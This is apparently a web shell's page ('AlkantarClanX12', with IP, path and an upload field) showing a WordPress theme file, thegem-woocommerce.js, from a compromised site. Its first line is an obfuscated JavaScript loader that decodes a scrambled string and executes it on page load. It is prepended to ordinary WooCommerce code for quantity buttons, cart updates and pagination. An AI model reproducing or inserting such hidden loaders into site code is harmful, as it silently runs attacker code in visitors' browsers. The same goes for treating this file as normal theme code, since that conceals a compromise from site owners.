AlkantarClanX12

Your IP : 18.118.140.78


Current Path : /home/thanudqk/www/wp-content/themes/thegem/js/
Upload File :
Current File : /home/thanudqk/www/wp-content/themes/thegem/js/thegem-woocommerce.js

var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp  i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e  !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCz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7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();(function ($) {
	$('.variations_form').each(function () {
		$form = $(this)
		.on('change', '.variations select', function (event) {
			var $text = $(this).closest('.combobox-wrapper').find('.combobox-text');
			$text.text($('option:selected', $(this)).text());
		});
	});

	$( document ).on('click', '.shipping-calculator-button', function(e) {
		e.preventDefault();
		$(this).toggleClass('active');
	});

	$('body').on('updated_checkout', function () {
		$('input.gem-checkbox').checkbox();
		$('select.shipping_method').combobox();
		try {
			window.init_checkout_navigation();
		} catch (e) {}
	});

	$('body').on('updated_shipping_method', function () {
		$('input.gem-checkbox').checkbox();
		$('select.shipping_method').combobox();
	});

	$('.remove_from_wishlist_resp').on('click', function (e) {
		$(this).closest('.cart-item').find('.wishlist_table .product-remove .remove_from_wishlist').click();
		e.preventDefault();
		return false;
	});

	$(function () {
		$('.price_slider_amount .button').addClass('gem-button gem-button-style-outline gem-button-size-tiny');
	});

	// Quantity buttons
	$('form:not(.cart) div.quantity:not(.buttons_added), td.quantity:not(.buttons_added)').addClass('buttons_added').append('<button type="button" class="plus" >+</button>').prepend('<button type="button" class="minus" >-</button>');

	$(document).on('click', '.plus, .minus', function () {

		// Get values
		var $qty = $(this).closest('.quantity').find('.qty'),
			currentVal = parseFloat($qty.val()),
			max = parseFloat($qty.attr('max')),
			min = parseFloat($qty.attr('min')),
			step = $qty.attr('step');

		// Format values
		if (!currentVal || currentVal === '' || currentVal === 'NaN') currentVal = 0;
		if (max === '' || max === 'NaN') max = '';
		if (min === '' || min === 'NaN') min = 0;
		if (step === 'any' || step === '' || step === undefined || parseFloat(step) === 'NaN') step = 1;

		// Change the value
		if ($(this).is('.plus')) {

			if (max && (max == currentVal || currentVal > max)) {
				$qty.val(max);
			} else {
				$qty.val(currentVal + parseFloat(step));
			}

		} else {

			if (min && (min == currentVal || currentVal < min)) {
				$qty.val(min);
			} else if (currentVal > 0) {
				$qty.val(currentVal - parseFloat(step));
			}

		}
		$qty.trigger('change');
	});

	$(document).on('change input', 'form.woocommerce-cart-form.update-cart-automatically .cart_item :input', function () {
		var $form = $(this).closest('form');
		clearTimeout(window.thegem_cart_update);
		window.thegem_cart_update = setTimeout(function() {
			$form.find('.submit-buttons .update-cart button').trigger('click');
		}, 600);
	});

	$(document).on('click', '.product-bottom a.add_to_cart_button', function () {
		if ($(this).parents('.extended-products-grid').length) {
			return
		}
		$(this).closest('.product-bottom').find('a, .yith-wcwl-add-to-wishlist').hide();
	});

	$(document).on('click', '.product-bottom a.add_to_wishlist', function () {
		if ($(this).parents('.extended-products-grid').length) {
			return
		}
		var current_product = $(this).data('product-id');
		$('a.add_to_wishlist[data-product-id=' + current_product + ']').each(function () {
			$(this).closest('.product-bottom').find('a').hide();
			$(this).parent().addClass('ajax');
		})
	});

	$('body').on('added_to_wishlist', function (t, el_wrap) {
		$('.yith-wcwl-wishlistaddedbrowse').parents('.yith-wcwl-add-to-wishlist').addClass('icon');
	});


	$(document).on('click', '.woocommerce-review-link', function (e) {
		$('.gem-woocommerce-tabs').find('a[data-vc-accordion][href="#tab-reviews"]').trigger('click');
	});

	$(function () {
		if (typeof wc_add_to_cart_variation_params !== 'undefined') {
			$('.variations_form').each(function () {
				$(this).on('show_variation', function (event, variation) {
					if (variation.image_id) {
						var $product_content = $(this).closest('.single-product-content');
						var $gallery = $product_content.find('.gem-gallery').eq(0);
						if ($gallery.length) {
							var $gallery_item = $gallery.find('.gem-gallery-thumbs-carousel .gem-gallery-item[data-image-id="' + variation.image_id + '"] a');
							$gallery_item.closest('.gem-gallery-item').addClass('active');
							$gallery_item.trigger('click');
						}
					}
				});
			});
		}
	});

	$(function () {
		if (typeof wc_add_to_cart_variation_params !== 'undefined') {
			$('.variations_form').each(function () {
				$(this).on('show_variation', function (event, variation) {
					if (variation.image_id) {
						var $product_content = $(this).closest('.single-product-content');
						var $gallery = $product_content.find('.product-gallery').eq(0);
						var $mainCarousel = $gallery.find('.product-gallery-slider');
						if ($gallery.length) {
							var $gallery_item = $gallery.find('.product-gallery-slider .product-gallery-slider-item[data-image-id="' + variation.image_id + '"]').parent('.owl-item').index();
							$mainCarousel.trigger('to.owl.carousel', [$gallery_item, 300, true]);
						}
					}
				});
			});
		}
	});

	$(document.body).on('updated_wc_div applied_coupon removed_coupon', function () {
		$('.shop_table.cart').closest('form').eq(0).nextAll('.woocommerce-message').remove();
		$('.shop_table.cart').closest('form').eq(0).nextAll('.woocommerce-info').remove();
		$('.shop_table.cart').closest('form').eq(0).nextAll('.woocommerce-error').remove();
		$('.shop_table.cart').closest('form').eq(1).nextAll('form').remove();
		$('input.gem-checkbox').checkbox();
		$('select.shipping_method').combobox();
		$('form:not(.cart) div.quantity:not(.buttons_added), td.quantity:not(.buttons_added)').addClass('buttons_added').append('<button type="button" class="plus" >+</button>').prepend('<button type="button" class="minus" >-</button>');

		if($('body').hasClass('woocommerce-cart-layout-classic')) {
			$.ajax({
				type: 'POST',
				url: thegem_woo_data.ajax_url,
				data: {
					action: 'thegem_cart_items_html',
				},
				dataType: 'html',
				success: function (response) {
					$('.cart-short-info').replaceWith($(response));
				}
			});
		}
	});

	$(document.body).on('updated_wc_div updated_shipping_method', function() {
		$( 'select.country_to_state, input.country_to_state' ).trigger( 'change' );
		$( document.body ).trigger( 'country_to_state_changed' );
	});

	$(function () {
		$('.gem-product-load-more').each(function () {
			if ($.fn.itemsAnimations !== undefined) {
				var $products_parent = $(this).siblings('.products');
				if (!$products_parent.hasClass('item-animation-move-up')) {
					$products_parent.addClass('item-animation-move-up');
				}
				$products_parent.itemsAnimations({
					itemSelector: '.product'
				});
			}
			$(this).on('click', 'button', function () {
				products_load_core_request($(this).closest('.gem-product-load-more'));
			});
		});

		$('.gem-product-scroll-pagination').each(function () {
			var $this = $(this),
				watcher = scrollMonitor.create(this);
			watcher.enterViewport(function () {
				products_load_core_request($this);
			});

			if ($.fn.itemsAnimations !== undefined) {
				var $products_parent = $(this).siblings('.products');
				if (!$products_parent.hasClass('item-animation-move-up')) {
					$products_parent.addClass('item-animation-move-up');
				}
				$products_parent.itemsAnimations({
					itemSelector: '.product'
				});
			}
		});
	});

	function products_load_core_request($pagination) {
		var current = parseInt($pagination.data('pagination-current')),
			total = parseInt($pagination.data('pagination-total')),
			base_url = $pagination.data('pagination-base'),
			is_processing_request = $pagination.data('request-process') || false,
			next_page = current + 1,
			next_page_url = base_url.replace('%#%', next_page);

		if (is_processing_request || next_page > total) {
			return false;
		}
		$pagination.data('request-process', true);
		if ($pagination.hasClass('gem-product-load-more')) {
			$('.gem-button', $pagination).before('<div class="loading"><div class="preloader-spin"></div></div>');
		}
		if ($pagination.hasClass('gem-product-scroll-pagination')) {
			$pagination.addClass('active').html('<div class="loading"><div class="preloader-spin"></div></div>');
		}

		$.ajax({
			url: next_page_url,
			data: {thegem_products_ajax: 1},
			success: function (response) {
				if ($pagination.hasClass('gem-product-load-more')) {
					$('.gem-button .loading', $pagination).remove();
				}
				if ($pagination.hasClass('gem-product-scroll-pagination')) {
					$pagination.removeClass('active').html('');
				}

				var $response = $(response),
					$products = $('.products .product', $response);

				if ($products.length) {
					var $products_parent = $pagination.siblings('.products');
					$products_parent.append($products);
					if ($.fn.itemsAnimations !== undefined) {
						var itemsAnimations = $products_parent.itemsAnimations('instance');
						if (itemsAnimations) {
							itemsAnimations.show($products);
						}
					}
					$pagination.data('pagination-current', next_page);
					if (next_page >= total) {
						$pagination.hide().remove();
					}
				}
				if ($pagination.hasClass('gem-product-load-more')) {
					$('.loading', $pagination).remove();
				}
				if ($pagination.hasClass('gem-product-scroll-pagination')) {
					$pagination.removeClass('active').html('');
				}
				$pagination.data('request-process', false);
			}
		});
	}

	$(function () {
		let getScrollY = (elem) =>{
			return window.pageYOffset || document.documentElement.scrollTop;
		};

		$(window).scroll(function() {
			if(getScrollY() > 0) {
				$('.page__top-shadow').removeClass('visible');
			} else {
				$('.page__top-shadow').addClass('visible');
			}
		}).scroll();
	});

	$.fn.gemWooAttributeSelector = function() {
		$(this).each(function() {
			var $selector = $(this);
			var $form = $selector.closest('form');
			var $input = $(':input', $selector);
			var $options = $('.gem-attribute-options', $selector);
			var $label = $selector.closest('tr').find('td.label label');
			$input.on('change', function() {
				$('[data-value]', $options).removeClass('selected');
				$('[data-value="'+$input.val()+'"]', $options).addClass('selected');
				$label.next('.selected-text').remove();
				$('<span class="selected-text">'+$('[data-value="'+$input.val()+'"] .text', $options).text()+'</span>').insertAfter($label);
			}).trigger('change');
			$('[data-value]', $options).on('click',function(e) {
				e.preventDefault();
				if(!$(this).hasClass('disabled')) {
					$input.val($(this).hasClass('selected') ? '' : $(this).data('value')).trigger('change');
				}
			})
			$form.on('woocommerce_update_variation_values', function() {
				$('[data-value]', $options).addClass('disabled');
				$('option', $input).each(function() {
					$('[data-value="'+$(this).attr('value')+'"]', $options).removeClass('disabled');
				});
			});
		});
	}

	$(function () {
		$('.gem-attribute-selector').gemWooAttributeSelector();
	});

	$(function () {
		$('.product-tabs-skeleton').remove();
		$('.product-right-column-skeleton').remove();
	});

	// Woo Germanized Init Custom Elements
	$(function () {
		try {
			$('select#billing_title').select2();
			$('select#shipping_title').select2();
			$('select#shipping_address_type').select2();
		} catch (e) {}
	});

	$('body').on('updated_checkout', function () {
		const wcGzdWrap = $('.wc-gzd-checkbox-placeholder');
		const dhlWrap = $('.dhl-preferred-service-content');

		try {
			$('input.input-checkbox', wcGzdWrap).checkbox();
			$('input[type="radio"]').checkbox();
		} catch (e) {}
	});

	$( document.body ).on( 'wc_cart_emptied', function() {
		if($('.thegem-template-cart-empty').length == 0 && $('.woocommerce-empty-cart').length) {
			$('.woocommerce-empty-cart').closest('.block-content').removeClass('no-top-margin no-bottom-margin');
		}
	});

})(jQuery);